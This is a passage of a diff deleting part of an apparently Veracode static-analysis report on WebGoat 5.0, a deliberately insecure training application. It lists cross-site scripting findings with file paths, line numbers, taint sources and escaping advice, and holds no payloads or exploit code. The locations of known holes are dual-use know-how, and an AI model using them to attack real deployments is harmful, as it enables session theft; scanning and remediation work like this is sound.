-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ListStaff_jsp.java\" line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login_jsp.java\" line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login_jsp.java\" line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variables stub.getRole(),
-        and stub.getLastName(). The tainted data originated from an earlier call to
-        java.sql.statement.executequery. The tainted data is directed into an output
-        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
-        on all untrusted data before using it to construct any portion of an HTTP
-        response. The escaping method should be chosen based on the specific use case
-        of the untrusted data, otherwise it may not protect fully against the attack.
-        For example, if the data is being written to the body of an HTML page, use
-        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
-        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login_jsp.java\" line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable menu.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable menu.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable menu.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
